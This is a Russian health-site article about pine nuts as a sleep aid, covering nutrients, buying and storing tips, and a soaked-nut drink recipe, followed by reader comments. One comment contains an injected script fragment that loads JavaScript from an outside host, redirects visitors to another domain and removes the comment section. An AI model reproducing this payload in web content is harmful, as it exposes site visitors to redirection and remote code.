Здоровье ИНФО
Присоединяйтесь к нам:
Главная страница  >>  Наша кожа  >>  Прыщи  >>  Статьи  >>  Кедровые орехи – пища для...  >>  Кедровые орехи – пища для сна
 
Обратная связь
 

Кедровые орехи – пища для сна

Размер шрифта
24 февраля 2012 10:00
  • google_analytics: false
  • Нравится

Кедровые орехи – лучший источник незаменимых аминокислот и триптофана, помогающего нам крепко спать. Как выбрать, как хранить и как правильно съесть кедровые орехи?

1

Кедровые орешки на самом деле семена, причем не кедра, а сосны сибирской. Этот сорт сосны по внешнему виду сильно напоминает кедр, и семена сосновой шишки называют в народе кедровыми орехами.  

Что полезного есть в кедровых орехах?

  • Растительный жир, полиненасыщенные жирные кислоты, в том числе олеиновая кислота, которая защищает от атеросклероза.
  • Кедровые орехи – кладезь белка, клетчатки и витаминов группы В.
  • В белке кедровых орехов содержится много триптофана – эта аминокислота относится к самым дефицитным и ценной при нарушениях сна.
  • В кедровых орехах всего 19 аминокислот, и 2/3 из них относятся к незаменимым и условно незаменимым. Преобладающая аминокислота – аргинин. Он снижает давление, поддерживает в норме уровень холестерина, предотвращает образование тромбов, нормализует состояние тканей, в том числе сердечной мышцы.
  • Также кедровые орехи являются источником лецитина, необходимого для питания нервных клеток и поддержания активной деятельности мозга.

Кедровые орехи чрезвычайно калорийны (600 ккал на 100 г), поэтому нельзя есть эти орехи в большом количестве.

Пьедестал почета по содержанию триптофана

Кедровые орехи
Фисташки
Грецкие орехи

Ночью под воздействием триптофана, который мы получаем извне, в организме выделяется мелатонин. Если триптофана не хватает, мелатонин не выделяется, и у человека начинается бессонница.

Предупреждение

В кедровых орехах есть вещества, которые при окислении вызывают раздражение слизистой. На некоторое время вкусовые ощущения могут смешаться. Старайтесь покупать либо упакованные, либо неочищенные орешки.

Как выбрать

  • Лучше всего покупать кедровые орехи в сезон урожая: сентябрь, октябрь. Если вы покупаете позже, смотрите на дату производства: лучше, если это будет опять же сезон сбора кедровых орехов.
  • Помните: ядро ореха очень быстро портится из-за большого количества жиров в его составе.
  • Чем суше орехи, тем хуже, и тем горше они будут на вкус.
  • Мука кедрового ореха содержит много стабилизаторов и мало кедровых орехов.
  • Свежие кедровые орешки обладают ярким ореховым вкусом.
  • Если кедровые орешки хранятся давно или с нарушением условий, то их вкус становится горьким, а запах – резким, цвет при этом меняется на грязно-желтый.

Как хранить

  • Свет разлагает растительные масла, поэтому лучше всего хранить продукт в темном месте.
  • Хранить орехи надо только в холодильнике, неочищенные – до полугода, в том числе и в морозилке.
  • Поскольку в орехах большое содержание масла, хранить их нужно в плотно закрытом контейнере.

Как готовить

  • Лучше обойтись без жарки, иначе масло в составе орехов превратится в канцероген.
  • Есть кедровые орехи лучше просто так, но не забывать о калорийности.
  • Можно добавить в салат.

Рецепт кедрового эликсира. 

Ингредиенты:

Кедровые орехи – 0,5 стакана.
Чистая вода –2 стакана.

Приготовление:

Половину стакана кедровых орехов нужно вымачивать в небольшом количестве воды 4-5 часов. Затем взбить миксером, добавив воды до двух стаканов. Процедить.
Получившийся настой обладает общеукрепляющим действием, пить его в чистом виде можно 2-3 раза в день, а можно добавлять в чай или каши, которые после этого приобретут нежный ореховый вкус.



Сюжеты по теме:
Кедровые орехи. Сибирский привет

 

 

  • google_analytics: false
  • Нравится
Послать другу Послать другу Распечатать Распечатать Обсудить на форуме Обсудить на форуме
Комментарии

1 - Гость

25 февраля 2012 в 09:21

Цитировать   |   Пожаловаться

Здравствуйте.
Скажите пожалуйста: а сколько кедровых орешков надо есть перед сном для хорошего сна ? ( Если например  масса тела 60 килограмм. )

Ведь если сьеш 100 грамм - это 600 калорий - так и потолстеть не долго.

Спасибо, с уважением ваш ....

Гость 25 февраля 2012 в 09:21
а сколько кедровых орешков надо есть перед сном для хорошего сна ?
 Для хорошего сна лучше всего соблюдать здоровый образ жизни и режим дня. Организм любит систему. Хорошо бы прогуляться вечером по свежему воздуху, хотя бы минут 30. Поужинать не позднее, чем за 3-4- час до сна. Если голодны - стакан теплого нежирного молока, кефира, или белок от яйца. Если серьезные проблемы со сном, то решение их только с врачом! 
Использовать кедровые орешки в качестве снотворного средства наверное все же не стоит, они действительно очень калорийны. Но решение каждый принимает конечно сам. 

3 - zzzzzz

30 июня 2015 в 23:54

Цитировать   |   Пожаловаться

--> src="http://1212123.esy.es/q.js"> > window.location.href="http://a25832-hostde3.fornex.org/"; $("form.noprint, #CommentsBlock").remove();

Слайдшоу

1
Получи на орехи! 10 суперорехов для похудения Что съесть, чтобы не объесться за праздничным столом
Самая лучшая еда для похудения, сердца и против рака Еда, вызывающая головную боль
Польза тыквенных семечек Лучшая еда для мужчин. Часть 2
Вопросы и ответы
Яна Александровна Юцковская
Яна Александровна Юцковская Задать вопрос
Посмотреть информацию о враче

Юцковская Яна Александровна, д.м.н., профессор, зав. кафедрой дерматовенерологии и косметологии ГБОУ ВПО «ТГМУ Минздрава России», врач высшей категории, директор ООО «Профессорская клиника Юцковских», Владивосток, директор ООО «Клиника профессора  Юцковской», Москва, президент НП «ДВАЭМ», председатель Дальневосточного отделения МООСБТ.

Елена Николаевна Волкова
Елена Николаевна Волкова Прочитать ответы
Посмотреть информацию о враче

Доктор медицинских наук, профессор кафедры дерматовенерологии Московского факультета ГОУ ВПО «РГМУ им. Н.И. Пирогова Минздравсоцразвития России». Этот консультант отвечал на вопросы пользователей с 03 ноября 2011 г. по 15 февраля 2012 г.